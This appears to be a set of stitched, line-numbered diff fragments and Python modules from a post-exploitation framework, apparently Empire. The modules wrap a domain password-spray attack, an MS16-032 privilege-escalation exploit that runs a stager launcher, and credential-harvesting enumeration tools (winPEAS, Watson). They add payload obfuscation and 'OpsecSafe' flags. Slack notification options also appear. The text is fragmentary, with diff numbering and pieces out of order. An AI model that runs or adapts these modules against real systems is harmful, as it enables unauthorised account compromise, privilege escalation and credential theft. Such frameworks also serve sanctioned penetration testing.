126 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
125 'SlackURL' : {
126 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
127127 'Required' : False,
128128 'Value' : ''
129 },
130 'SlackChannel' : {
131 'Description' : 'The Slack channel or DM that notifications will be sent to.',
132 'Required' : False,
133 'Value' : '#general'
134129 }
135130 }
136131
126126 'Required': True,
127127 'Value': "https://login.live.com/oauth20_desktop.srf"
128128 },
129 'SlackToken': {
130 'Description': 'Your SlackBot API token to communicate with your Slack instance.',
129 'SlackURL': {
130 'Description': 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
131131 'Required': False,
132132 'Value': ''
133 },
134 'SlackChannel': {
135 'Description': 'The Slack channel or DM that notifications will be sent to.',
136 'Required': False,
137 'Value': '#general'
138133 }
139134 }
140135
123123 'Required' : False,
124124 'Value' : 'default'
125125 },
126 'SlackToken' : {
127 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
128 'Required' : False,
129 'Value' : ''
130 },
131 'SlackChannel' : {
132 'Description' : 'The Slack channel or DM that notifications will be sent to.',
133 'Required' : False,
134 'Value' : '#general'
126 'SlackURL' : {
127 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.',
128 'Required' : False,
129 'Value' : ''
135130 }
136131 }
137132
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5
6 class Module(object):
7
8 def __init__(self, mainMenu, params=[]):
9
10 # Metadata info about the module, not modified during runtime
11 self.info = {
12 # Name for the module that will appear in module menus
13 'Name': 'DomainPasswordSpray',
14
15 # List of one or more authors for the module
16 'Author': ['@dafthack'],
17
18 # More verbose multi-line description of the module
19 'Description': ("DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack "
20 "against users of a domain."),
21
22 'Software': '',
23
24 'Techniques': ['T1110'],
25
26 # True if the module needs to run in the background
27 'Background': False,
28
29 # File extension to save the file as
30 'OutputExtension': None,
31
32 # True if the module needs admin rights to run
33 'NeedsAdmin': False,
34
35 # True if the method doesn't touch disk/is reasonably opsec safe
36 'OpsecSafe': True,
37
38 # The language for this module
39 'Language': 'powershell',
40
41 # The minimum PowerShell version needed for the module to run
42 'MinLanguageVersion': '2',
43
44 # List of any references/other comments
45 'Comments': [
46 'https://github.com/dafthack/DomainPasswordSpray'
47 ]
48 }
49
50 # Any options needed by the module, settable during runtime
51 self.options = {
52 # Format:
53 # value_name : {description, required, default_value}
54 'Agent': {
55 # The 'Agent' option is the only one that MUST be in a module
56 'Description': 'Agent to run on.',
57 'Required': True,
58 'Value': ''
59 },
60 'UserList': {
61 'Description': 'Optional UserList parameter. This will be generated automatically if not specified. ',
62 'Required': False,
63 'Value': '',
64 },
65 'Password': {
66 'Description': 'A single password that will be used to perform the password spray.',
67 'Required': False,
68 'Value': '',
69 },
70 'PasswordList': {
71 'Description': 'A list of passwords one per line to use for the password spray '
72 '(File must be loaded from the target machine).',
73 'Required': False,
74 'Value': '',
75 },
76 'OutFile': {
77 'Description': 'A file to output the results to.',
78 'Required': False,
79 'Value': '',
80 },
81 'Domain': {
82 'Description': 'A domain to spray against.',
83 'Required': False,
84 'Value': '',
85 },
86 }
87
88 # Save off a copy of the mainMenu object to access external
89 # functionality like listeners/agent handlers/etc.
90 self.mainMenu = mainMenu
91
92 # During instantiation, any settable option parameters are passed as
93 # an object set to the module and the options dictionary is
94 # automatically set. This is mostly in case options are passed on
95 # the command line.
96 if params:
97 for param in params:
98 # Parameter format is [Name, Value]
99 option, value = param
100 if option in self.options:
101 self.options[option]['Value'] = value
102
103 def generate(self, obfuscate=False, obfuscationCommand=""):
104 # First method: Read in the source script from module_source
105 module_source = self.mainMenu.installPath + "/data/module_source/credentials/DomainPasswordSpray.ps1"
106 if obfuscate:
107 helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand)
108 module_source = module_source.replace("module_source", "obfuscated_module_source")
109 try:
110 f = open(module_source, 'r')
111 except:
112 print(helpers.color("[!] Could not read module source path at: " + str(module_source)))
113 return ""
114
115 module_code = f.read()
116 f.close()
117
118 script = module_code
119 script_end = 'Invoke-DomainPasswordSpray'
120
121 for option,values in self.options.items():
122 if option.lower() != "agent":
123 if values['Value'] and values['Value'] != '':
124 if values['Value'].lower() == "true":
125 # if we're just adding a switch
126 script_end += " -" + str(option)
127 elif values['Value'].lower() == "false":
128 pass
129 else:
130 script_end += " -" + str(option) + " " + str(values['Value'])
131
132 script_end += ' -Force;'
133 if obfuscate:
134 script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath,
135 obfuscationCommand=obfuscationCommand)
136 script += script_end
137 script = helpers.keyword_obfuscation(script)
138
139 return script
7272 'Value': 'False'
7373 },
7474 'ComputerName' : {
75 'Description' : 'Host[s] to execute the stager on, comma separated.',
75 'Description' : 'Host to execute the stager on.',
7676 'Required' : True,
7777 'Value' : ''
7878 },
2222
2323 'Techniques': ['T1068'],
2424
25 'Background' : True,
25 'Background': True,
2626
27 'OutputExtension' : None,
27 'OutputExtension': None,
2828
29 'NeedsAdmin' : False,
29 'NeedsAdmin': False,
3030
31 'OpsecSafe' : False,
32
33 'Language' : 'powershell',
31 'OpsecSafe': False,
3432
35 'MinLanguageVersion' : '2',
33 'Language': 'powershell',
34
35 'MinLanguageVersion': '2',
3636
3737 'Comments': [
3838 'Credit to James Forshaw (@tiraniddo) for exploit discovery and',
4343 }
4444
4545 self.options = {
46 'Agent' : {
47 'Description' : 'Agent to run module on.',
48 'Required' : True,
49 'Value' : ''
46 'Agent': {
47 'Description': 'Agent to run module on.',
48 'Required': True,
49 'Value': ''
5050 },
51 'Listener' : {
52 'Description' : 'Listener to use.',
53 'Required' : True,
54 'Value' : ''
51 'Listener': {
52 'Description': 'Listener to use.',
53 'Required': True,
54 'Value': ''
5555 },
56 'UserAgent' : {
57 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
58 'Required' : False,
59 'Value' : 'default'
56 'UserAgent': {
57 'Description': 'User-agent string to use for the staging request (default, none, or other).',
58 'Required': False,
59 'Value': 'default'
6060 },
61 'Proxy' : {
62 'Description' : 'Proxy to use for request (default, none, or other).',
63 'Required' : False,
64 'Value' : 'default'
61 'Proxy': {
62 'Description': 'Proxy to use for request (default, none, or other).',
63 'Required': False,
64 'Value': 'default'
6565 },
66 'ProxyCreds' : {
67 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
68 'Required' : False,
69 'Value' : 'default'
66 'ProxyCreds': {
67 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
68 'Required': False,
69 'Value': 'default'
7070 }
7171 }
7272
7878 if option in self.options:
7979 self.options[option]['Value'] = value
8080
81 def generate(self, obfuscate=False, obfuscationCommand=""):
8182
82 def generate(self, obfuscate=False, obfuscationCommand=""):
83
8483 moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1"
8584 if obfuscate:
8685 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
102101 l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
103102 l.options['Proxy']['Value'] = self.options['Proxy']['Value']
104103 l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
104 l.options['SafeChecks']['Value'] = 'False'
105 l.options['ScriptLogBypass']['Value'] = 'False'
106 l.options['AMSIBypass']['Value'] = 'False'
105107 l.options['Base64']['Value'] = 'False'
106108 launcherCode = l.generate()
107109
108110 # need to escape characters
109 launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")
110
111 scriptEnd = 'Invoke-MS16032 -Command "' + launcherCode + '"'
111 launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"", "'")
112
113 scriptEnd = 'Invoke-MS16-032 "' + launcherCode + '"'
112114 scriptEnd += ';"`nInvoke-MS16032 completed."'
113115
114116 if obfuscate:
115 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
117 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
118 obfuscationCommand=obfuscationCommand)
116119 script += scriptEnd
117120 script = helpers.keyword_obfuscation(script)
118121
119122 return script
120
0 from __future__ import print_function
1
2 from builtins import str
3
4 from lib.common import helpers
5
6
7 class Module:
8 def __init__(self, mainMenu, params=[]):
9 self.info = {
10 'Name': 'Invoke-Watson',
11
12 'Author': ['@_RastaMouse', '@S3cur3Th1sSh1t'],
13
14 'Description': ('Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.'),
15
16 'Software': '',
17
18 'Techniques': ['T1068'],
19
20 'Background': True,
21
22 'OutputExtension': None,
23
24 'NeedsAdmin': False,
25
26 'OpsecSafe': True,
27
28 'Language': 'powershell',
29
30 'MinLanguageVersion': '4',
31
32 'Comments': [
33 'https://github.com/rasta-mouse/Watson'
34 ]
35 }
36 # any options needed by the module, settable during runtime
37 self.options = {
38 # format:
39 # value_name : {description, required, default_value}
40 'Agent': {
41 'Description': 'Agent to run module on.',
42 'Required': True,
43 'Value': ''
44 }
45 }
46 # save off a copy of the mainMenu object to access external functionality
47 # like listeners/agent handlers/etc.
48 self.mainMenu = mainMenu
49 for param in params:
50 # parameter format is [Name, Value]
51 option, value = param
52 if option in self.options:
53 self.options[option]['Value'] = value
54
55 def generate(self, obfuscate=False, obfuscationCommand=""):
56 moduleName = self.info["Name"]
57
58 # read in the common powerup.ps1 module source code
59 moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Watson.ps1"
60 if obfuscate:
61 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
62 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
63 try:
64 f = open(moduleSource, 'r')
65 except:
66 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
67 return ""
68 moduleCode = f.read()
69 f.close()
70 # # get just the code needed for the specified function
71 # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
72 script = moduleCode
73 scriptEnd = "Invoke-Watson"
74
75 if obfuscate:
76 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
77 obfuscationCommand=obfuscationCommand)
78 script += scriptEnd
79 script = helpers.keyword_obfuscation(script)
80
81 return script
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5
6 class Module(object):
7
8 def __init__(self, mainMenu, params=[]):
9
10 # Metadata info about the module, not modified during runtime
11 self.info = {
12 # Name for the module that will appear in module menus
13 'Name': 'Invoke-winPEAS',
14
15 # List of one or more authors for the module
16 'Author': ['@carlospolop', '@S3cur3Th1sSh1t'],
17
18 # More verbose multi-line description of the module
19 'Description': ("WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts."),
20
21 'Software': '',
22
23 'Techniques': ['T1046'],
24
25 # True if the module needs to run in the background
26 'Background': False,
27
28 # File extension to save the file as
29 'OutputExtension': None,
30
31 # True if the module needs admin rights to run
32 'NeedsAdmin': False,
33
34 # True if the method doesn't touch disk/is reasonably opsec safe
35 'OpsecSafe': True,
36
37 # The language for this module
38 'Language': 'powershell',
39
40 # The minimum PowerShell version needed for the module to run
41 'MinLanguageVersion': '4',
42
43 # List of any references/other comments
44 'Comments': [
45 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS'
46 ]
47 }
48
49 # Any options needed by the module, settable during runtime
50 self.options = {
51 # Format:
52 # value_name : {description, required, default_value}
53 'Agent': {
54 # The 'Agent' option is the only one that MUST be in a module
55 'Description': 'Agent to run on.',
56 'Required': True,
57 'Value': ''
58 },
59 'Full': {
60 'Description': 'Default all checks (except CMD checks) are executed',
61 'Required': False,
62 'Value': 'True',
63 },
64 'Searchfast': {
65 'Description': 'Avoid sleeping while searching files (notable amount of resources).',
66 'Required': False,
67 'Value': '',
68 },
69 'Searchall': {
70 'Description': 'Search all known filenames whith possible credentials.',
71 'Required': False,
72 'Value': '',
73 },
74 'Cmd': {
75 'Description': 'Obtain wifi, cred manager and clipboard information executing CMD commands.',
76 'Required': False,
77 'Value': '',
78 },
79 'Systeminfo': {
80 'Description': 'Search system information.',
81 'Required': False,
82 'Value': '',
83 },
84 'Userinfo': {
85 'Description': 'Search user information.',
86 'Required': False,
87 'Value': '',
88 },
89 'Procesinfo': {
90 'Description': 'Search processes information.',
91 'Required': False,
92 'Value': '',
93 },
94 'Servicesinfo': {
95 'Description': 'Search services information.',
96 'Required': False,
97 'Value': '',
98 },
99 'Applicationsinfo': {
100 'Description': 'Search installed applications information.',
101 'Required': False,
102 'Value': '',
103 },
104 'Networkinfo': {
105 'Description': 'Search network information.',
106 'Required': False,
107 'Value': '',
108 },
109 'Windowscreds': {
110 'Description': 'Search windows information.',
111 'Required': False,
112 'Value': '',
113 },
114 'Browserinfo': {
115 'Description': 'Search browser information.',
116 'Required': False,
117 'Value': '',
118 },
119 'Filesinfo': {
120 'Description': 'Search files that can contains credentials.',
121 'Required': False,
122 'Value': '',
123 },
124 'Color': {
125 'Description': 'Enable colored output.',
126 'Required': True,
127 'Value': 'True',
128 },
129 }
130
131 # Save off a copy of the mainMenu object to access external
132 # functionality like listeners/agent handlers/etc.
133 self.mainMenu = mainMenu
134
135 # During instantiation, any settable option parameters are passed as
136 # an object set to the module and the options dictionary is
137 # automatically set. This is mostly in case options are passed on
138 # the command line.
139 if params:
140 for param in params:
141 # Parameter format is [Name, Value]
142 option, value = param
143 if option in self.options:
144 self.options[option]['Value'] = value
145
146 def generate(self, obfuscate=False, obfuscationCommand=""):
147 # First method: Read in the source script from module_source
148 module_source = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-winPEAS.ps1"
149 if obfuscate:
150 helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand)
151 module_source = module_source.replace("module_source", "obfuscated_module_source")
152 try:
153 f = open(module_source, 'r')
154 except:
155 print(helpers.color("[!] Could not read module source path at: " + str(module_source)))
156 return ""
157
158 module_code = f.read()
159 f.close()
160
161 script = module_code
162 script_end = 'Invoke-winPEAS -Command "'
163
164 # Add any arguments to the end execution of the script
165 if self.options['Searchfast']['Value'].lower() == 'true':
166 script_end += " searchfast"
167 if self.options['Searchall']['Value'].lower() == 'true':
168 script_end += " searchall"
169 if self.options['Cmd']['Value'].lower() == 'true':
170 script_end += " cmd"
171 if self.options['Systeminfo']['Value'].lower() == 'true':
172 script_end += " systeminfo"
173 if self.options['Userinfo']['Value'].lower() == 'true':
174 script_end += " userinfo"
175 if self.options['Procesinfo']['Value'].lower() == 'true':
176 script_end += " procesinfo"
177 if self.options['Servicesinfo']['Value'].lower() == 'true':
178 script_end += " servicesinfo"
179 if self.options['Applicationsinfo']['Value'].lower() == 'true':
180 script_end += " applicationsinfo"
181 if self.options['Networkinfo']['Value'].lower() == 'true':
182 script_end += " networkinfo"
183 if self.options['Windowscreds']['Value'].lower() == 'true':
184 script_end += " windowscreds"
185 if self.options['Browserinfo']['Value'].lower() == 'true':
186 script_end += " browserinfo"
187 if self.options['Filesinfo']['Value'].lower() == 'true':
188 script_end += " filesinfo"
189 if self.options['Color']['Value'].lower() == 'false':
190 script_end += " notansi"
191 if self.options['Full']['Value'].lower() == 'true':
192 script_end += " +"
193
194 script_end = script_end.replace('" ', '"')
195 script_end += '"'
196
197 if obfuscate:
198 script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath,
199 obfuscationCommand=obfuscationCommand)
200 script += script_end
201 script = helpers.keyword_obfuscation(script)
202
203 return script
4242 'Language': 'powershell',
4343
4444 # The minimum PowerShell version needed for the module to run
45 'MinLanguageVersion': '2',
45 'MinLanguageVersion': '4',
4646
4747 # List of any references/other comments
4848 'Comments': [